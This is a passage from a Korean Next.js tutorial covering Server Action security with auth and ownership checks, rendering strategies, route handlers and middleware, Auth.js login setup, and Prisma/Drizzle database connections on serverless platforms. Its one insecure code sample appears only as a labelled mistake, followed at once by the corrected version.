리액트 탭의 낙관적 갱신보다 훨씬 짧습니다 — 롤백 코드를 직접 쓰지 않아도 됩니다. 액션이 끝나면 리액트가 서버가 돌려준 진짜 상태로 되돌립니다. 실패해도 되돌아가므로 ①만 하고 ②를 빠뜨리는 사고가 구조적으로 불가능합니다.

보안 — 액션은 공개된 엔드포인트입니다 🔴 실무

가장 흔한 사고와 그 처방

"use server";
import { auth } from "@/auth";
import { revalidateTag } from "next/cache";

// ❌ 위험 — 화면에서 버튼을 숨겼으니 안전하다고 생각하는 코드
export async function deletePost(id: number) {
  await db.post.delete({ where: { id } });
}
//   공격자는 브라우저 개발자도구로 그 액션 id 를 그대로 POST 할 수 있습니다.
//   '관리자에게만 버튼을 보여 주는 것'은 보안이 아닙니다.

// ✅ 액션 안에서 매번 다시 검사합니다
export async function deletePost(id: number) {
  const session = await auth();                       // ① 인증
  if (!session?.user) throw new Error("로그인이 필요합니다");

  const post = await db.post.findUnique({ where: { id } });
  if (!post) throw new Error("없는 글입니다");

  const mine  = post.authorId === session.user.id;    // ② 소유권
  const admin = session.user.role === "admin";        // ③ 권한
  if (!mine && !admin) throw new Error("권한이 없습니다");

  await db.post.delete({ where: { id } });
  revalidateTag("posts");
}

체크리스트

항목왜
인증 · 권한을 액션 안에서UI 로 숨기는 것은 방어가 아닙니다
입력을 zod 로 검증FormData 는 무엇이든 들어옵니다
id 를 신뢰하지 않기숨은 input 의 userId 는 조작됩니다. 세션에서 가져오세요
반환값에 비밀 넣지 않기반환값은 브라우저로 갑니다
"use server" 파일에 공개 API 만export 한 함수는 전부 엔드포인트가 됩니다
변경 작업만 액션으로단순 조회는 서버 컴포넌트에서 await
// 인자를 미리 묶는 관용구 — id 를 숨은 input 으로 노출하지 않기
<form action={deletePost.bind(null, post.id)}>
  <button>삭제</button>
</form>

// 액션은 form 밖에서도 부를 수 있습니다 (버튼 클릭 · useTransition)
"use client";
const [pending, startTransition] = useTransition();
<button onClick={() => startTransition(() => toggleLike(id))}>♥</button>
CSRF 는 Next 가 어느 정도 막아 줍니다 — 액션은 POST 로만 호출되고 Origin 과 Host 를 대조합니다. 하지만 인증·권한 검사는 대신해 주지 않습니다. "로그인한 사람이면 누구나 남의 글을 지울 수 있는" 버그가 Server Action 도입 초기에 가장 많이 나왔습니다.
정리 — "use server" 함수를 <form action=> 에 그대로 넘기면 API 라우트 없이 저장이 됩니다. 검증은 zod + useActionState 로 에러를 되돌려 주고, 대기 상태는 useFormStatus, 즉각 반응은 useOptimistic 으로 만듭니다. 저장 뒤에는 revalidateTag/revalidatePath 로 캐시를 지워야 화면이 바뀌고, 권한 검사는 반드시 액션 안에서 — 액션은 인터넷에 열린 엔드포인트입니다.
NEXT 06

렌더링 전략 실전 — 정적 · ISR · 스트리밍 · PPR

f01 에서 이름만 봤던 전략들을 이제 코드로 고릅니다. 핵심은 하나입니다 — 내가 쓴 코드가 전략을 결정합니다. cookies() 한 줄이 정적 페이지를 동적으로 만들고, Suspense 하나가 4초짜리 화면을 0.3초에 보이게 만듭니다.

같은 데이터, 같은 서버 — 다른 것은 언제 보내기 시작하느냐뿐입니다 await 서버가 모든 데이터를 기다립니다 — 그동안 흰 화면 전부 한 번에 Suspense 껍데기 + 헤더 글 목록 도착 추천 위젯 도착 댓글 도착 (가장 느림) 0 600ms 1200ms 1800ms 2400ms 정적 껍데기 빌드 때 미리 만들어 둔 부분 Suspense 구멍 준비되는 대로 흘려보냄 PPR = 둘을 한 응답에 첫 바이트는 정적, 개인화는 스트리밍 스트리밍은 전체 시간을 줄이지 않습니다 — 첫 화면이 보이는 시점을 앞으로 당깁니다 가장 느린 한 조각 때문에 나머지 전부가 기다리는 상황을 없애는 것이 목적입니다
"페이지가 느리다"의 절반은 가장 느린 데이터를 Suspense 로 떼어 내는 것만으로 해결됩니다.

정적 생성 — generateStaticParams

// app/posts/[slug]/page.tsx
export const revalidate = 3600;        // ISR — 1시간마다 갱신

export async function generateStaticParams() {
  const posts = await db.post.findMany({ select: { slug: true } });
  return posts.map((p) => ({ slug: p.slug }));   // 빌드 때 미리 만들 목록
}

// 목록에 없는 주소로 들어오면?
export const dynamicParams = true;     // 기본값 — 그때 만들어서 캐시 (ISR)
// export const dynamicParams = false; // 404 로 처리

export default async function Post({ params }: {
  params: Promise<{ slug: string }>;
}) {
  const { slug } = await params;
  const post = await db.post.findUnique({ where: { slug } });
  if (!post) notFound();
  return <Article post={post} />;
}
글이 10만 개면 전부 미리 만들면 안 됩니다. 인기 글 500개만 generateStaticParams 로 만들고 나머지는 dynamicParams: true 로 처음 요청받을 때 만들어 캐시하세요. 빌드 시간은 짧고, 자주 보는 글은 이미 준비되어 있습니다.

동적 함수 — 이 한 줄이 전략을 바꿉니다

import { cookies, headers } from "next/headers";
import { connection } from "next/server";

// 아래 중 하나라도 쓰면 그 라우트는 '동적'이 됩니다 (요청마다 렌더)
await cookies();                 // 쿠키 읽기
await headers();                 // 헤더 읽기
await searchParams;              // 쿼리스트링 읽기
await connection();              // "요청을 기다린다"는 명시 (Next 15+)
export const dynamic = "force-dynamic";
이 코드를 쓰면결과
아무것도 안 씀정적 — 빌드 때 한 번
revalidate = NISR — N초마다 갱신
cookies()·headers()동적 — 요청마다
fetch(cache:"no-store")동적
Suspense 로 감싸 격리바깥은 정적, 안쪽만 동적
전염됩니다 — 레이아웃에서 cookies() 를 한 번 쓰면 그 아래 모든 페이지가 동적이 됩니다. "왜 전부 SSR 이 됐지?" 싶으면 레이아웃부터 확인하세요. 해결책은 그 부분을 Suspense 안으로 밀어 넣는 것입니다.

스트리밍 — loading.tsx 와 Suspense 🟡 중급

두 가지 방법

// ① 라우트 통째로 — app/dashboard/loading.tsx 파일만 만들면 끝
export default function Loading() {
  return <div className="animate-pulse h-64 rounded bg-neutral-800" />;
}
// Next 가 자동으로 <Suspense fallback={<Loading />}> 로 page 를 감쌉니다
// ② 조각별로 — 이쪽이 훨씬 좋습니다
import { Suspense } from "react";

export default function Page() {
  return (
    <main>
      <h1>대시보드</h1>              {/* 즉시 보임 */}

      <Suspense fallback={<CardSkeleton />}>
        <Revenue />                  {/* 200ms */}
      </Suspense>

      <Suspense fallback={<TableSkeleton />}>
        <SlowReport />               {/* 3초 — 나머지를 막지 않습니다 */}
      </Suspense>
    </main>
  );
}

// 각 컴포넌트는 그냥 async 서버 컴포넌트입니다
async function SlowReport() {
  const rows = await heavyQuery();     // 여기서 기다려도 위쪽은 이미 나갔습니다
  return <Table rows={rows} />;
}
fallback 은 실제 레이아웃과 같은 크기로 만드세요. 스피너 하나만 두면 데이터가 도착할 때 화면이 덜컹 밀립니다(레이아웃 시프트). 스켈레톤은 예쁘라고 쓰는 게 아니라 CLS 점수를 지키려고 씁니다(f11).

PPR · Cache Components — 정적과 동적을 한 페이지에

// next.config.ts — Next 15 (실험적)
export default {
  experimental: { ppr: "incremental" },
};
// 그 라우트에서 켭니다
export const experimental_ppr = true;

export default function ProductPage() {
  return (
    <>
      <ProductInfo />                  {/* 모두 같음 → 정적 껍데기 */}
      <Suspense fallback={<StockSkeleton />}>
        <Stock />                      {/* cookies() 사용 → 구멍 */}
      </Suspense>
    </>
  );
}
// 결과: 첫 바이트는 CDN 이 즉시(정적), 개인화 부분만 스트리밍으로 채워집니다
PPR 은 Next 15 에서 실험 기능이고, Next 16 에서는 Cache Components(cacheComponents: true + "use cache")라는 더 명시적인 모델로 정리되고 있습니다. 아이디어는 같습니다 — "기본은 동적, 캐시할 것만 표시". 지금 실무에 넣을 때는 버전 고정과 충분한 테스트를 전제로 하세요.

실무에선 이렇게 — 빌드 출력표 읽기 🔴 실무

$ npm run build

Route (app)                              Size     First Load JS
┌ ○ /                                    1.2 kB          98 kB
├ ○ /about                               142 B           89 kB
├ ● /posts/[slug]                        2.1 kB         101 kB
├   ├ /posts/hello-next
├   ├ /posts/rsc-basics
├   └ [+498 more paths]
├ ƒ /dashboard                           3.4 kB         126 kB
├ ◐ /products/[id]                       2.8 kB         112 kB
└ ƒ /api/health                          0 B                0 B

○  (Static)             빌드 때 만들어 둠 — 가장 빠릅니다
●  (SSG)                generateStaticParams 로 만든 경로들
◐  (PPR)                정적 껍데기 + 스트리밍 구멍
ƒ  (Dynamic)            요청마다 서버에서 렌더

★ 읽는 법
   · 정적이어야 할 페이지에 ƒ 가 붙어 있으면 → 어딘가에서 cookies/headers 를 씁니다
   · First Load JS 가 200kB 를 넘으면 → 클라이언트 경계를 확인하세요 (f03·f11)
   · [+498 more paths] 가 수만 개면 → 빌드가 30분 걸립니다. 목록을 줄이세요
왜 동적이 됐는지 알고 싶을 때 — next build --debug 또는 개발 서버에서 그 페이지를 열고 터미널의 Cache missed reason 을 보세요(f04). 대부분 레이아웃에서 세션을 읽고 있습니다.
동적이 나쁜 게 아닙니다. 대시보드·마이페이지는 동적이 맞습니다. 문제는 정적일 수 있는 페이지가 실수로 동적이 되는 것입니다 — 그 차이가 CDN 적중률 0% 와 95% 를 가릅니다.
정리 — 전략은 고르는 게 아니라 코드로 결정됩니다. 아무것도 안 쓰면 정적, revalidate 를 쓰면 ISR, cookies()·headers() 를 쓰면 동적입니다. 느린 조각은 Suspense 로 감싸 격리하면 나머지가 먼저 나가고, generateStaticParams 로 자주 보는 것만 미리 만듭니다. 확인은 언제나 npm run build 출력표의 기호로 합니다.
NEXT 07

라우트 핸들러 · 미들웨어

화면이 아니라 JSON · 파일 · 웹훅이 필요할 때는 route.ts 를 쓰고, 모든 요청 앞에서 한 번 걸러야 할 일은 middleware.ts 가 맡습니다. 둘 다 "값싼 판단만 한다"는 원칙을 어기면 서비스 전체가 느려집니다.

라우트 핸들러 — 웹 표준 Request/Response

// app/api/posts/route.ts
import { NextResponse } from "next/server";
import { z } from "zod";

export const dynamic = "force-dynamic";   // Next 15 부터 GET 도 기본 캐시 안 함

export async function GET(req: Request) {
  const { searchParams } = new URL(req.url);
  const page = Number(searchParams.get("page") ?? 1);

  const posts = await db.post.findMany({ skip: (page - 1) * 20, take: 20 });
  return NextResponse.json({ posts, page });
}

export async function POST(req: Request) {
  const body = await req.json();
  const parsed = CreateSchema.safeParse(body);
  if (!parsed.success)
    return NextResponse.json({ error: parsed.error.flatten() }, { status: 400 });

  const created = await db.post.create({ data: parsed.data });
  return NextResponse.json(created, { status: 201 });
}
// GET · POST · PUT · PATCH · DELETE · HEAD · OPTIONS 를 export 하면 됩니다
Express 탭과의 차이 — req·res 대신 표준 Request·Response 입니다. req.body 가 아니라 await req.json(), res.json(x) 가 아니라 반환합니다. Cloudflare Workers·Deno·Bun 과 같은 모양이라 지식이 그대로 옮겨 갑니다.

route.ts 는 언제 필요한가

필요한 경우필요 없는 경우
외부 서비스의 웹훅 수신내 페이지에서 쓸 데이터 조회
→ 서버 컴포넌트에서 await
모바일 앱 등 다른 클라이언트에 열어 줄 API내 폼의 저장
→ Server Action
파일 다운로드 · 이미지 · RSS · sitemap단순 리다이렉트
→ next.config 의 redirects
OAuth 콜백 · 결제 승인 콜백내부 데이터 갱신
→ Server Action
// 스트리밍 응답 · 파일 내보내기
export async function GET() {
  const csv = "id,title\n1,안녕\n";
  return new Response(csv, {
    headers: {
      "Content-Type": "text/csv; charset=utf-8",
      "Content-Disposition": 'attachment; filename="posts.csv"',
    },
  });
}

// 웹훅 — 원본 바디가 필요하면 text() 로 받아 서명을 검증합니다
export async function POST(req: Request) {
  const raw = await req.text();
  const sig = req.headers.get("stripe-signature")!;
  const event = stripe.webhooks.constructEvent(raw, sig, env.WEBHOOK_SECRET);
  // ★ req.json() 을 먼저 부르면 서명 검증이 깨집니다
}
"일단 API 라우트부터 만들고 화면에서 fetch" 는 App Router 에서 대부분 낭비입니다. 서버 컴포넌트가 이미 서버에서 도는데 자기 자신에게 HTTP 요청을 보내는 셈이라 왕복 한 번이 그냥 늘어납니다.
미들웨어 — 모든 요청 앞에 서는 아주 얇은 관문 요청 GET /dashboard matcher 와 일치? config.matcher 패턴 불일치 → 그대로 통과 미들웨어가 아예 안 돕니다 middleware.ts 실행 · 쿠키 · 헤더 확인 · 엣지 런타임 · Node API 제한 · DB 조회 금지 NextResponse.redirect() → /login NextResponse.rewrite() → 주소는 그대로 NextResponse.next() → 계속 진행 matcher 를 안 적으면 이미지 · 폰트 · _next 정적 파일까지 전부 미들웨어를 통과합니다 여기서 하는 일은 '가벼운 판단'뿐입니다 — 세션 쿠키가 있는지 보는 정도까지 진짜 권한 검사는 페이지와 Server Action 안에서 다시 해야 합니다 (미들웨어만 믿으면 뚫립니다)
미들웨어는 문지기이지 보안 검색대가 아닙니다 — 값싼 판단만 맡기세요.

인증 게이트 — 가장 흔한 용도

// src/middleware.ts   (프로젝트 루트 또는 src/ 바로 아래)
import { NextResponse, type NextRequest } from "next/server";

const PROTECTED = ["/dashboard", "/settings", "/admin"];

export function middleware(req: NextRequest) {
  const { pathname } = req.nextUrl;
  const token = req.cookies.get("session")?.value;

  if (PROTECTED.some((p) => pathname.startsWith(p)) && !token) {
    const url = req.nextUrl.clone();
    url.pathname = "/login";
    url.searchParams.set("next", pathname);   // 로그인 후 돌아올 곳
    return NextResponse.redirect(url);
  }

  // 헤더를 덧붙여 아래로 흘려보내기
  const res = NextResponse.next();
  res.headers.set("x-request-id", crypto.randomUUID());
  return res;
}

export const config = {
  // ★ 정적 파일과 이미지는 제외 — 안 그러면 모든 요청에 비용이 붙습니다
  matcher: ["/((?!_next/static|_next/image|favicon.ico|.*\\.(?:png|jpg|svg)$).*)"],
};
미들웨어에서 jwt.verify 를 돌리거나 DB 를 조회하지 마세요. 미들웨어는 모든 요청마다 실행됩니다 — 여기에 20ms 를 넣으면 사이트 전체가 20ms 느려집니다. "쿠키가 있는가" 정도만 보고, 유효성은 페이지에서 검사하세요(f08).

CORS · 레이트 리밋

// app/api/[...path]/route.ts 또는 미들웨어에서
const ALLOWED = new Set(["https://app.example.com"]);

export async function OPTIONS(req: Request) {
  const origin = req.headers.get("origin") ?? "";
  if (!ALLOWED.has(origin)) return new Response(null, { status: 403 });
  return new Response(null, {
    status: 204,
    headers: {
      "Access-Control-Allow-Origin": origin,
      "Access-Control-Allow-Methods": "GET,POST,OPTIONS",
      "Access-Control-Allow-Headers": "content-type, authorization",
      "Access-Control-Max-Age": "86400",
    },
  });
}
// 레이트 리밋 — 서버리스에서는 메모리 카운터가 소용없습니다
// (인스턴스마다 따로 세므로) → 외부 저장소가 필요합니다
import { Ratelimit } from "@upstash/ratelimit";
import { Redis } from "@upstash/redis";

const limiter = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(10, "60 s"),
});

export async function POST(req: Request) {
  const ip = req.headers.get("x-forwarded-for")?.split(",")[0] ?? "unknown";
  const { success, reset } = await limiter.limit(ip);
  if (!success)
    return NextResponse.json({ error: "너무 많은 요청" }, {
      status: 429,
      headers: { "Retry-After": String(Math.ceil((reset - Date.now()) / 1000)) },
    });
  // …
}
자체 호스팅이면 Nginx 나 Redis 로 걸어도 됩니다(f12). 중요한 것은 카운터를 어디에 두느냐입니다 — 프로세스 메모리에 두면 인스턴스가 늘어나는 순간 제한이 무의미해집니다.

미들웨어에서 할 수 있는 것 · 없는 것

여기서 하세요
· 쿠키 유무로 리다이렉트
· 국가·언어로 rewrite
  (/ko/... 로 보내기)
· A/B 테스트 버킷 배정
· 보안 헤더 추가
· 요청 ID 심기
· 봇 차단 (User-Agent)
· www → 도메인 정규화
여기서 하지 마세요
· DB 조회
· 토큰 서명 검증
  (무겁고 Node API 필요)
· 세션 정보로 화면 분기
· 큰 라이브러리 임포트
  (번들이 곧 지연입니다)
· 응답 본문 만들기
· 파일 시스템 접근
Next 16 에서 middleware.ts 는 proxy.ts 로 이름이 바뀌는 흐름입니다 — "미들웨어"라는 이름 때문에 Express 미들웨어처럼 무거운 일을 넣는 오해가 많았기 때문입니다. 이름이 무엇이든 역할은 얇은 프록시라는 사실이 핵심입니다.

특수 파일 라우트 — sitemap · robots · OG

// app/sitemap.ts
import type { MetadataRoute } from "next";

export default async function sitemap(): Promise<MetadataRoute.Sitemap> {
  const posts = await db.post.findMany({ select: { slug: true, updatedAt: true } });
  return [
    { url: "https://example.com", lastModified: new Date(), priority: 1 },
    ...posts.map((p) => ({
      url: `https://example.com/posts/${p.slug}`,
      lastModified: p.updatedAt,
      changeFrequency: "weekly" as const,
    })),
  ];
}

// app/robots.ts
export default function robots(): MetadataRoute.Robots {
  return {
    rules: [{ userAgent: "*", allow: "/", disallow: ["/admin", "/api"] }],
    sitemap: "https://example.com/sitemap.xml",
  };
}
파일 하나가 곧 엔드포인트입니다 — app/sitemap.ts 를 만들면 /sitemap.xml 이 생깁니다. manifest.ts(PWA) · opengraph-image.tsx(공유 카드) 도 같은 방식이고, OG 이미지는 f11 에서 다룹니다.
정리 — route.ts 는 웹훅 · 외부 API · 파일처럼 화면이 아닌 응답이 필요할 때만 씁니다 — 내 화면에 쓸 데이터는 서버 컴포넌트에서 await, 내 폼의 저장은 Server Action 입니다. middleware.ts 는 matcher 로 범위를 좁힌 얇은 관문으로만 쓰고, 쿠키 유무 정도만 보고 흘려보내세요. 진짜 권한 검사는 페이지와 액션 안에서 다시 합니다.
NEXT 08

인증 — Auth.js 로 로그인 붙이기

"로그인만 붙이면 되는데"가 가장 오래 걸립니다. Next 에서는 세션이 미들웨어 · 서버 컴포넌트 · Server Action · 라우트 핸들러 네 군데에서 읽혀야 하고, 각각 읽는 방법이 다르기 때문입니다. 한 번 구조를 잡아 두면 그 뒤로는 손댈 일이 없습니다.

로그인 한 번과, 그 뒤 모든 요청 — 두 흐름을 나눠서 보세요 ① /login 에서 signIn() 깃허브 버튼 또는 아이디·비번 ② Auth.js 핸들러 api/auth/[...nextauth] ③ 공급자 검증 OAuth 왕복 · 또는 비번 대조 ④ jwt · session 콜백 토큰에 id · role 심기 ⑤ 세션 쿠키 발급 httpOnly · 암호화 ⑥ 원래 페이지로 callbackUrl 로 복귀 이후 모든 요청에서 미들웨어 쿠키가 있나만 확인 (값쌈) 서버 컴포넌트 const s = await auth() Server Action ★ 여기서 한 번 더 검사합니다 미들웨어는 '쿠키가 있나'만 봅니다 — 진짜 검증은 auth() 를 부르는 서버 컴포넌트와 액션에서 일어납니다 세션 전략이 jwt 면 쿠키 안에 정보가 들어 있고, database 면 쿠키에는 id 만 있고 매 요청 DB 를 봅니다
로그인은 한 번이지만 세션 확인은 매 요청입니다 — 그래서 "어디서 어떻게 읽나"가 설계의 전부입니다.

설치와 설정 파일 하나

npm i next-auth@beta · Auth.js v5(NextAuth v5)는 App Router 전용 API 입니다
// src/auth.ts   ★ 이 파일 하나가 설정의 전부입니다
import NextAuth from "next-auth";
import GitHub from "next-auth/providers/github";
import Credentials from "next-auth/providers/credentials";
import { compare } from "bcryptjs";
import { db } from "@/lib/db";

export const { handlers, auth, signIn, signOut } = NextAuth({
  session: { strategy: "jwt", maxAge: 60 * 60 * 24 * 30 },   // 30일
  pages: { signIn: "/login", error: "/login" },

  providers: [
    GitHub,                                    // 환경변수만 있으면 설정 끝
    Credentials({
      credentials: { email: {}, password: {} },
      authorize: async (c) => {
        const user = await db.user.findUnique({
          where: { email: String(c.email) },
        });
        if (!user) return null;                 // ★ null = 로그인 실패
        const ok = await compare(String(c.password), user.passwordHash);
        return ok ? { id: user.id, email: user.email, role: user.role } : null;
      },
    }),
  ],

  callbacks: {
    // 로그인 직후 한 번 user 가 들어옵니다 — 이때 토큰에 심습니다
    async jwt({ token, user }) {
      if (user) { token.id = user.id; token.role = (user as any).role; }
      return token;
    },
    // 서버 컴포넌트가 받는 session 객체를 만듭니다
    async session({ session, token }) {
      session.user.id = token.id as string;
      session.user.role = token.role as string;
      return session;
    },
  },
});
// src/app/api/auth/[...nextauth]/route.ts   — 두 줄이 끝
import { handlers } from "@/auth";
export const { GET, POST } = handlers;

네 군데에서 세션 읽기

// ① 서버 컴포넌트
import { auth } from "@/auth";
export default async function Page() {
  const session = await auth();
  if (!session) redirect("/login");
  return <p>{session.user.email} 님</p>;
}

// ② Server Action — ★ 반드시 여기서도
"use server";
export async function deletePost(id: number) {
  const session = await auth();
  if (session?.user.role !== "admin") throw new Error("권한 없음");
  // …
}

// ③ 라우트 핸들러
export async function GET() {
  const session = await auth();
  if (!session) return new Response("Unauthorized", { status: 401 });
  // …
}

// ④ 클라이언트 컴포넌트 — 필요할 때만
"use client";
import { useSession } from "next-auth/react";   // SessionProvider 필요
const { data, status } = useSession();
클라이언트에서 세션을 읽는 일은 생각보다 드뭅니다. 헤더의 프로필 이름은 서버 컴포넌트에서 읽어 props 로 내려보내면 됩니다 — SessionProvider 를 안 써도 되고, 깜빡임(로그인 상태가 늦게 나타나는 현상)도 없습니다.

보호하기 — 미들웨어와 페이지, 두 겹 🟡 중급

미들웨어 — 값싼 1차 관문

// src/middleware.ts
export { auth as middleware } from "@/auth";

export const config = {
  matcher: ["/((?!api|_next/static|_next/image|favicon.ico).*)"],
};
// auth.ts 의 callbacks 에 규칙을 적습니다
callbacks: {
  authorized({ auth, request }) {
    const logged = !!auth?.user;
    const { pathname } = request.nextUrl;

    if (pathname.startsWith("/admin"))
      return auth?.user?.role === "admin";     // false → 로그인 페이지로
    if (pathname.startsWith("/dashboard")) return logged;
    if (pathname === "/login" && logged)
      return Response.redirect(new URL("/dashboard", request.nextUrl));
    return true;                               // 나머지는 공개
  },
}
미들웨어는 우회할 수 있다고 가정하세요. Server Action 은 미들웨어를 거치지 않는 경로로도 호출될 수 있고, 미들웨어가 보는 것은 암호화된 쿠키의 내용일 뿐 DB 의 현재 상태가 아닙니다 (정지된 계정도 토큰 만료 전까지는 통과합니다). 중요한 동작마다 액션 안에서 다시 검사하는 것이 유일한 방어입니다.

로그인 폼 — Server Action 으로

// app/login/actions.ts
"use server";
import { signIn } from "@/auth";
import { AuthError } from "next-auth";

export async function login(prev: string | undefined, formData: FormData) {
  try {
    await signIn("credentials", {
      email: formData.get("email"),
      password: formData.get("password"),
      redirectTo: "/dashboard",
    });
  } catch (e) {
    if (e instanceof AuthError)
      return e.type === "CredentialsSignin"
        ? "이메일 또는 비밀번호가 올바르지 않습니다"
        : "로그인 중 문제가 발생했습니다";
    throw e;              // ★ redirect 예외는 반드시 다시 던져야 합니다
  }
}
// 소셜 로그인 버튼 — form 하나면 됩니다
import { signIn, signOut } from "@/auth";

<form action={async () => { "use server"; await signIn("github"); }}>
  <button>GitHub 로 계속하기</button>
</form>

<form action={async () => { "use server"; await signOut({ redirectTo: "/" }); }}>
  <button>로그아웃</button>
</form>
signIn 이 성공하면 리다이렉트 예외를 던집니다. catch 에서 무조건 문자열을 반환하면 로그인은 됐는데 화면이 안 넘어갑니다. AuthError 가 아닌 예외는 반드시 다시 던지세요 — f05 와 같은 함정입니다.

실무에선 이렇게 — 세션 전략과 대안 서비스 🔴 실무

jwt 전략 vs database 전략

strategy: "jwt""database"
세션 확인쿠키 복호화만 (DB 왕복 0)매 요청 DB 조회
즉시 로그아웃어렵습니다 — 만료까지 유효레코드 삭제로 즉시
권한 변경 반영다음 갱신 때즉시
서버리스 궁합좋음커넥션 부담(f09)
Credentials 공급자이것만 됩니다지원 안 함
쿠키 크기정보를 넣을수록 커짐(4KB 한계)작음
기본은 jwt 로 시작하세요 — 빠르고 서버리스에서 문제가 없습니다. "관리자가 계정을 정지시키면 즉시 튕겨야 한다" 같은 요구가 생기면 그때 토큰에 sessionVersion 을 넣고 민감한 동작에서만 DB 와 대조하는 절충안이 현실적입니다.

Auth.js 말고 다른 선택지

선택지장점단점
Auth.js
(NextAuth v5)
무료 · 내 DB · 공급자 80종
Next 와 가장 밀착
v5 가 오래 베타
UI·조직 관리 직접 구현
ClerkUI 컴포넌트 · 조직 · MFA
10분이면 붙습니다
유료 · 사용자 데이터가 외부
사용자 수에 비례한 비용
Supabase AuthDB 와 세트 · RLS 연동
무료 구간이 넉넉
Supabase 에 묶임
Better Auth타입 안전 · 플러그인
내 DB · 활발한 개발
생태계가 아직 작음
직접 구현완전한 통제권하지 않습니다 — 세션 회전·CSRF·
비번 재설정까지 전부 직접
# 환경 변수 (f12 에서 자세히)
AUTH_SECRET=...            # openssl rand -base64 32
AUTH_GITHUB_ID=...
AUTH_GITHUB_SECRET=...
AUTH_URL=https://example.com     # 프록시 뒤라면 명시
AUTH_SECRET 이 바뀌면 모든 세션이 무효화됩니다. 배포마다 새로 만들면 배포할 때마다 전원 로그아웃됩니다 — 비밀 저장소에 고정해 두세요.
정리 — Auth.js v5 는 auth.ts 파일 하나에 설정을 모으고 handlers·auth·signIn·signOut 네 개를 내보냅니다. 미들웨어는 값싼 1차 관문, 진짜 검사는 서버 컴포넌트와 Server Action 안에서 await auth(). 세션 전략은 jwt 로 시작하고, 로그인 UI·조직 관리까지 사고 싶으면 Clerk, DB 와 세트로 가고 싶으면 Supabase 를 검토하세요.
NEXT 09

DB 연동 — Prisma · Drizzle 과 서버리스의 함정

서버 컴포넌트에서 DB 를 직접 부를 수 있다는 게 Next 의 가장 큰 편의입니다. 그런데 배포 환경이 서버리스면 개발할 때 멀쩡하던 코드가 트래픽이 조금만 늘어도 커넥션 부족으로 죽습니다. 이 절은 그 이야기입니다.

Prisma — 스키마 중심

# prisma/schema.prisma
model Post {
  id        Int      @id @default(autoincrement())
  slug      String   @unique
  title     String
  body      String
  published Boolean  @default(false)
  authorId  String
  author    User     @relation(fields: [authorId], references: [id])
  createdAt DateTime @default(now())

  @@index([published, createdAt])
}
// lib/db.ts   ★ 개발 중 핫리로드로 커넥션이 새는 것을 막는 관용구
import "server-only";
import { PrismaClient } from "@prisma/client";

const g = globalThis as unknown as { prisma?: PrismaClient };
export const db = g.prisma ?? new PrismaClient({ log: ["warn", "error"] });
if (process.env.NODE_ENV !== "production") g.prisma = db;
npx prisma migrate dev --name add_post      # 개발: 마이그레이션 생성+적용
npx prisma migrate deploy                   # 배포: 적용만 (CI/시작 스크립트)
npx prisma studio                           # 브라우저 DB 뷰어
npx prisma generate                         # 타입 재생성 (빌드 전 필수)

Drizzle — SQL 에 가까운 쪽

// db/schema.ts
import { pgTable, serial, text, boolean, timestamp, index } from "drizzle-orm/pg-core";

export const posts = pgTable("posts", {
  id: serial("id").primaryKey(),
  slug: text("slug").notNull().unique(),
  title: text("title").notNull(),
  body: text("body").notNull(),
  published: boolean("published").default(false).notNull(),
  createdAt: timestamp("created_at").defaultNow().notNull(),
}, (t) => [index("posts_pub_idx").on(t.published, t.createdAt)]);

export type Post = typeof posts.$inferSelect;      // ★ 타입이 스키마에서 나옵니다
// 쿼리 — SQL 을 아는 사람에게 읽히는 모양
import { db } from "@/db";
import { posts } from "@/db/schema";
import { eq, desc, and } from "drizzle-orm";

const rows = await db.select().from(posts)
  .where(and(eq(posts.published, true)))
  .orderBy(desc(posts.createdAt))
  .limit(20);
npx drizzle-kit generate      # SQL 마이그레이션 파일 생성
npx drizzle-kit migrate       # 적용
npx drizzle-kit studio

둘 중 무엇을 고르나

PrismaDrizzle
배우는 비용낮음 — 스키마 파일 하나SQL 을 알아야 편합니다
번들·콜드 스타트쿼리 엔진이 따로 (커짐)가볍습니다 — 엣지에서도 동작
복잡한 쿼리결국 $queryRaw 로 내려감SQL 그대로 표현 가능
마이그레이션성숙하고 안전생성된 SQL 을 직접 확인해야
관계 로딩include 로 편함with (relations 정의 필요)
2026년 인상팀·초보에게 여전히 안전한 기본값서버리스·엣지·성능 중시면 이쪽
정답은 없습니다. 처음 만드는 서비스이고 팀에 SQL 이 익숙하지 않으면 Prisma, Vercel·Cloudflare 같은 서버리스에 배포하고 콜드 스타트가 걱정이면 Drizzle 입니다. 이 탭의 실전 프로젝트(f13)는 Drizzle 로 갑니다 — 생성되는 SQL 이 보여서 설명하기 좋기 때문입니다.
같은 코드, 다른 배포 — 서버리스에서만 터지는 이유 ① 늘 떠 있는 서버 (Docker · VM) 프로세스 1개 · 커넥션 풀 10개 계속 재사용되므로 DB 가 편안합니다 ② 서버리스 함수 트래픽에 따라 인스턴스 100개 각자 풀 10개 → 1000 커넥션 요구 Postgres — max_connections 100 초과하면 too many clients already DB 가 감당해야 하는 커넥션 수 ← max_connections 100 상주 서버 10개 — 이거면 충분합니다 서버리스 인스턴스 100개 × 풀 10개 = 1,000개 요구 0 250 500 750 1000 커넥션 수(개) PgBouncer · Supavisor 트랜잭션 모드 풀러를 앞에 서버리스 드라이버 Neon HTTP — 커넥션 없음 커넥션 수 제한 connection_limit=1 + 풀러 개발 중에는 인스턴스가 하나뿐이라 절대 재현되지 않습니다 — 배포하고 트래픽이 붙어야 터집니다 자체 호스팅(f12)이면 이 문제 자체가 없습니다. 서버리스를 고를 때만 따라오는 비용입니다
서버리스는 커넥션을 재사용하지 못합니다 — 그래서 풀러나 HTTP 드라이버가 사실상 필수입니다.

실제 설정 — 세 가지 처방

# ① 풀러 URL 과 직결 URL 을 나눠서 씁니다 (Supabase·Neon 공통 패턴)
DATABASE_URL="postgres://...@pooler.host:6543/db?pgbouncer=true&connection_limit=1"
DIRECT_URL="postgres://...@db.host:5432/db"     # 마이그레이션 전용
# prisma/schema.prisma
datasource db {
  provider  = "postgresql"
  url       = env("DATABASE_URL")     # 앱은 풀러로
  directUrl = env("DIRECT_URL")       # 마이그레이션은 직결로
}
// ② 서버리스 드라이버 — HTTP 로 쿼리해 커넥션 자체가 없습니다
import { neon } from "@neondatabase/serverless";
import { drizzle } from "drizzle-orm/neon-http";

const sql = neon(process.env.DATABASE_URL!);
export const db = drizzle(sql, { schema });

// Prisma 도 어댑터로 같은 일을 합니다
// import { PrismaNeon } from "@prisma/adapter-neon";
// const db = new PrismaClient({ adapter: new PrismaNeon({ connectionString }) });
